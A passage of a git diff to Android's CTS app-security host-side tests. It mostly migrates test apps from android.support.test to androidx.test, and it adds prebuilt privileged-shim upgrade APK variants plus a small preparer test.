 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/hostsidetests/appsecurity/test-apps/PermissionPolicy25/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/PermissionPolicy25/AndroidManifest.xml
index 10484fb..5733f89 100644
--- a/hostsidetests/appsecurity/test-apps/PermissionPolicy25/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/PermissionPolicy25/AndroidManifest.xml
@@ -24,7 +24,7 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="com.android.cts.permission.policy" />
 
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/PermissionPolicy25/src/com/android/cts/permission/policy/PermissionPolicyTest25.java b/hostsidetests/appsecurity/test-apps/PermissionPolicy25/src/com/android/cts/permission/policy/PermissionPolicyTest25.java
index 2db1f41..d9dde12 100644
--- a/hostsidetests/appsecurity/test-apps/PermissionPolicy25/src/com/android/cts/permission/policy/PermissionPolicyTest25.java
+++ b/hostsidetests/appsecurity/test-apps/PermissionPolicy25/src/com/android/cts/permission/policy/PermissionPolicyTest25.java
@@ -22,7 +22,9 @@
 import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
 import android.content.pm.PermissionInfo;
-import android.support.test.InstrumentationRegistry;
+
+import androidx.test.InstrumentationRegistry;
+
 import org.junit.Test;
 
 /**
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.mk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.mk
index d998a77..2ced2b9 100644
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.mk
@@ -23,7 +23,7 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test compatibility-device-util ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules compatibility-device-util-axt ctstestrunner-axt
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
@@ -57,6 +57,26 @@
 include $(BUILD_PREBUILT)
 
 ###########################################################
+# Variant: Privileged app upgrade
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CtsShimPrivUpgradePrebuilt_v28
+LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_CLASS := APPS
+LOCAL_BUILT_MODULE_STEM := package.apk
+# Make sure the build system doesn't try to resign the APK
+LOCAL_CERTIFICATE := PRESIGNED
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+# The 'arm' apk has both arm and arm64 so's. Same for x86/x86_64.
+my_apk_dir := $(subst arm64,arm,$(TARGET_ARCH))
+my_apk_dir := $(subst x86_64,x86,$(my_apk_dir))
+LOCAL_REPLACE_PREBUILT_APK_INSTALLED := $(LOCAL_PATH)/apk/$(my_apk_dir)/CtsShimPrivUpgrade_v28.apk
+
+include $(BUILD_PREBUILT)
+
+###########################################################
 # Variant: Privileged app upgrade (wrong SHA)
 
 include $(CLEAR_VARS)
@@ -73,4 +93,21 @@
 
 include $(BUILD_PREBUILT)
 
+###########################################################
+# Variant: Privileged app upgrade (wrong SHA)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CtsShimPrivUpgradeWrongSHAPrebuilt_v28
+LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_CLASS := APPS
+LOCAL_BUILT_MODULE_STEM := package.apk
+# Make sure the build system doesn't try to resign the APK
+LOCAL_CERTIFICATE := PRESIGNED
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_REPLACE_PREBUILT_APK_INSTALLED := $(LOCAL_PATH)/apk/$(my_apk_dir)/CtsShimPrivUpgradeWrongSHA_v28.apk
+
+include $(BUILD_PREBUILT)
+
 my_apk_dir :=
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/AndroidManifest.xml
index 58f34b9..95169b6 100644
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/AndroidManifest.xml
@@ -23,7 +23,7 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="com.android.cts.privilegedupdate" />
 
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgradeWrongSHA_v28.apk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgradeWrongSHA_v28.apk
new file mode 100644
index 0000000..2faf2d4
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgradeWrongSHA_v28.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgrade_v28.apk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgrade_v28.apk
new file mode 100644
index 0000000..93f6f19
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgrade_v28.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgradeWrongSHA_v28.apk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgradeWrongSHA_v28.apk
new file mode 100644
index 0000000..d7e0826
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgradeWrongSHA_v28.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgrade_v28.apk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgrade_v28.apk
new file mode 100644
index 0000000..f0cc8b6
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgrade_v28.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdatePreparer/Android.mk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdatePreparer/Android.mk
new file mode 100644
index 0000000..77d2b82
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/PrivilegedUpdatePreparer/Android.mk
@@ -0,0 +1,35 @@
+#
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_SDK_VERSION := current
+#LOCAL_STATIC_JAVA_LIBRARIES := android-support-test compatibility-device-util ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util
+#LOCAL_JAVA_LIBRARIES := android.test.base.stubs
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_DEX_PREOPT := false
+LOCAL_PACKAGE_NAME := CtsPrivilegedUpdatePreparer
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+include $(BUILD_CTS_PACKAGE)
+
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdatePreparer/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/PrivilegedUpdatePreparer/AndroidManifest.xml
new file mode 100644
index 0000000..026fd94
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/PrivilegedUpdatePreparer/AndroidManifest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.privilegedupdate.preparer">
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:targetPackage="com.android.cts.privilegedupdate.preparer" />
+
+</manifest>
+
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdatePreparer/src/com/android/cts/privilegedupdate/preparer/PrivilegedUpdateTestPreparer.java b/hostsidetests/appsecurity/test-apps/PrivilegedUpdatePreparer/src/com/android/cts/privilegedupdate/preparer/PrivilegedUpdateTestPreparer.java
new file mode 100644
index 0000000..ffdaf3a
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/PrivilegedUpdatePreparer/src/com/android/cts/privilegedupdate/preparer/PrivilegedUpdateTestPreparer.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.privilegedupdate.preparer;
+
+import android.app.Instrumentation;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.os.Bundle;
+import android.support.test.InstrumentationRegistry;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public class PrivilegedUpdateTestPreparer {
+    /** Package name of the privileged CTS shim */
+    private static final String PRIVILEGED_SHIM_PKG = "com.android.cts.priv.ctsshim";
+
+    @Test
+    public void getTargetSdk() throws Exception {
+        final Instrumentation inst = InstrumentationRegistry.getInstrumentation();
+        final PackageManager pm = inst.getContext().getPackageManager();
+        final PackageInfo pi = pm.getPackageInfo(PRIVILEGED_SHIM_PKG, 0);
+        final Bundle targetSdkBundle = new Bundle();
+        targetSdkBundle.putString("target_sdk", Integer.toString(pi.applicationInfo.targetSdkVersion));
+        inst.sendStatus(2, targetSdkBundle);
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/Android.mk b/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/Android.mk
index 51699dd..1ecc5a4 100644
--- a/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/Android.mk
@@ -18,7 +18,7 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
 
diff --git a/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/AndroidManifest.xml
index 03884c9..4713beb 100644
--- a/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/AndroidManifest.xml
@@ -20,7 +20,7 @@
         <uses-library android:name="android.test.runner" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="com.android.cts.readexternalstorageapp" />
 
     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
diff --git a/hostsidetests/appsecurity/test-apps/SharedUidInstall/Android.mk b/hostsidetests/appsecurity/test-apps/SharedUidInstall/Android.mk
index 22464bd..331dc2e 100644
--- a/hostsidetests/appsecurity/test-apps/SharedUidInstall/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SharedUidInstall/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 
 LOCAL_PACKAGE_NAME := CtsSharedUidInstall
 
diff --git a/hostsidetests/appsecurity/test-apps/SharedUidInstallDiffCert/Android.mk b/hostsidetests/appsecurity/test-apps/SharedUidInstallDiffCert/Android.mk
index a73d0fc..9dc335e 100644
--- a/hostsidetests/appsecurity/test-apps/SharedUidInstallDiffCert/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SharedUidInstallDiffCert/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 
 LOCAL_PACKAGE_NAME := CtsSharedUidInstallDiffCert
 
diff --git a/hostsidetests/appsecurity/test-apps/SimpleAppInstall/Android.mk b/hostsidetests/appsecurity/test-apps/SimpleAppInstall/Android.mk
index 7180a10..13a0b63 100644
--- a/hostsidetests/appsecurity/test-apps/SimpleAppInstall/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SimpleAppInstall/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 
 LOCAL_PACKAGE_NAME := CtsSimpleAppInstall
 
diff --git a/hostsidetests/appsecurity/test-apps/SimpleAppInstallDiffCert/Android.mk b/hostsidetests/appsecurity/test-apps/SimpleAppInstallDiffCert/Android.mk
index bcd8a4e..21e83c2 100644
--- a/hostsidetests/appsecurity/test-apps/SimpleAppInstallDiffCert/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SimpleAppInstallDiffCert/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 
 LOCAL_PACKAGE_NAME := CtsSimpleAppInstallDiffCert
 
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/Android.mk
index c63bcb6..0e77a2d 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/Android.mk
@@ -19,7 +19,7 @@
 include $(CLEAR_VARS)
 
 LOCAL_MODULE_TAGS := tests
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
 
@@ -52,7 +52,7 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
 
@@ -83,7 +83,7 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
 
@@ -113,7 +113,7 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
 
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/AndroidManifest.xml
index f56398e..cb01d2b 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/AndroidManifest.xml
@@ -53,7 +53,7 @@
         <uses-library android:name="android.test.runner" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="com.android.cts.splitapp" />
 
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/revision/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/revision/AndroidManifest.xml
index a17d470..d2bd1da 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/revision/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/revision/AndroidManifest.xml
@@ -39,7 +39,7 @@
         <uses-library android:name="android.test.runner" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="com.android.cts.splitapp" />
 
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/Utils.java b/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/Utils.java
index 08dc7ad..75915b6 100644
--- a/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/Utils.java
+++ b/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/Utils.java
@@ -150,7 +150,9 @@
     }
 
     private static long getAllocatedSize(File f) throws Exception {
-        return Os.lstat(f.getAbsolutePath()).st_blocks * 512;
+        return Os.lstat(f.getAbsolutePath()).st_blocks * 512 /
+               Os.lstat(f.getAbsolutePath()).st_blksize *
+               Os.lstat(f.getAbsolutePath()).st_blksize ;
     }
 
     public static boolean deleteContents(File dir) {
diff --git a/hostsidetests/appsecurity/test-apps/StorageAppA/Android.mk b/hostsidetests/appsecurity/test-apps/StorageAppA/Android.mk
index ebbc892..f2b7117 100644
--- a/hostsidetests/appsecurity/test-apps/StorageAppA/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/StorageAppA/Android.mk
@@ -18,7 +18,7 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := test_current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
 
diff --git a/hostsidetests/appsecurity/test-apps/StorageAppA/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/StorageAppA/AndroidManifest.xml
index 688bb9d..bb5054e 100644
--- a/hostsidetests/appsecurity/test-apps/StorageAppA/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/StorageAppA/AndroidManifest.xml
@@ -25,7 +25,7 @@
             android:exported="true" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="com.android.cts.storageapp_a" />
 
     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
diff --git a/hostsidetests/appsecurity/test-apps/StorageAppB/Android.mk b/hostsidetests/appsecurity/test-apps/StorageAppB/Android.mk
index 3a5462e..76bfce6 100644
--- a/hostsidetests/appsecurity/test-apps/StorageAppB/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/StorageAppB/Android.mk
@@ -18,7 +18,7 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := test_current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
 
diff --git a/hostsidetests/appsecurity/test-apps/StorageAppB/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/StorageAppB/AndroidManifest.xml
index 2e7739c..aa09a24 100644
--- a/hostsidetests/appsecurity/test-apps/StorageAppB/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/StorageAppB/AndroidManifest.xml
@@ -25,7 +25,7 @@
             android:exported="true" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="com.android.cts.storageapp_b" />
 
     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
diff --git a/hostsidetests/appsecurity/test-apps/StorageStatsApp/Android.mk b/hostsidetests/appsecurity/test-apps/StorageStatsApp/Android.mk
index 16d78d7..2e9f00e 100644
--- a/hostsidetests/appsecurity/test-apps/StorageStatsApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/StorageStatsApp/Android.mk
@@ -18,7 +18,7 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := test_current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test ub-uiautomator
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules ub-uiautomator
 
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
 
diff --git a/hostsidetests/appsecurity/test-apps/StorageStatsApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/StorageStatsApp/AndroidManifest.xml
index 0c4d9d2..371e436 100644
--- a/hostsidetests/appsecurity/test-apps/StorageStatsApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/StorageStatsApp/AndroidManifest.xml
@@ -20,7 +20,7 @@
         <uses-library android:name="android.test.runner" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="com.android.cts.storagestatsapp" />
 
     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
diff --git a/hostsidetests/appsecurity/test-apps/TargetInstrumentationApp/Android.mk b/hostsidetests/appsecurity/test-apps/TargetInstrumentationApp/Android.mk
index fea0878..49bb31a 100644
--- a/hostsidetests/appsecurity/test-apps/TargetInstrumentationApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/TargetInstrumentationApp/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 
 LOCAL_PACKAGE_NAME := CtsTargetInstrumentationApp
 
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionApp22/Android.mk
index 7a62f09..f7386a3 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp22/Android.mk
@@ -20,9 +20,9 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-test \
-    compatibility-device-util \
-    ctstestrunner \
+    androidx.test.rules \
+    compatibility-device-util-axt \
+    ctstestrunner-axt \
     ub-uiautomator
 
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/UsePermissionApp22/AndroidManifest.xml
index ebb0cbf..1424c7c 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp22/AndroidManifest.xml
@@ -71,7 +71,7 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="com.android.cts.usepermission" />
 
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/Android.mk
index 58ee1c7..7380ad1 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/Android.mk
@@ -20,9 +20,9 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-test \
-    compatibility-device-util \
-    ctstestrunner \
+    androidx.test.rules \
+    compatibility-device-util-axt \
+    ctstestrunner-axt \
     ub-uiautomator
 
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/AndroidManifest.xml
index 9d25826..fc9fedd 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/AndroidManifest.xml
@@ -72,7 +72,7 @@
     </application>
 
     <instrumentation
-            android:name="android.support.test.runner.AndroidJUnitRunner"
+            android:name="androidx.test.runner.AndroidJUnitRunner"
             android:targetPackage="com.android.cts.usepermission" />
 
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
index c26caba..62a05c8 100755
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
@@ -17,6 +17,7 @@
 package com.android.cts.usepermission;
 
 import static junit.framework.Assert.assertEquals;
+
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.fail;
 
@@ -31,8 +32,6 @@
 import android.os.Bundle;
 import android.os.SystemClock;
 import android.provider.Settings;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.UiObject;
@@ -47,13 +46,19 @@
 import android.view.accessibility.AccessibilityNodeInfo.AccessibilityAction;
 import android.widget.ScrollView;
 import android.widget.Switch;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import junit.framework.Assert;
+
+import org.junit.Before;
+import org.junit.runner.RunWith;
+
 import java.util.List;
 import java.util.Map;
 import java.util.concurrent.Callable;
 import java.util.concurrent.TimeoutException;
-import junit.framework.Assert;
-import org.junit.Before;
-import org.junit.runner.RunWith;
 
 @RunWith(AndroidJUnit4.class)
 public abstract class BasePermissionsTest {
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp25/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionApp25/Android.mk
index 8528752..94d3c0a 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp25/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp25/Android.mk
@@ -20,9 +20,9 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-test \
-    compatibility-device-util \
-    ctstestrunner \
+    androidx.test.rules \
+    compatibility-device-util-axt \
+    ctstestrunner-axt \
     ub-uiautomator
 
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp25/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/UsePermissionApp25/AndroidManifest.xml
index c6a6316..2a844e5 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp25/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp25/AndroidManifest.xml
@@ -73,7 +73,7 @@
     </application>
 
     <instrumentation
-            android:name="android.support.test.runner.AndroidJUnitRunner"
+            android:name="androidx.test.runner.AndroidJUnitRunner"
             android:targetPackage="com.android.cts.usepermission" />
 
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp26/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionApp26/Android.mk
index 52c8ba4..0796d45 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp26/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp26/Android.mk
@@ -20,9 +20,9 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-test \
-    compatibility-device-util \
-    ctstestrunner \
+    androidx.test.rules \
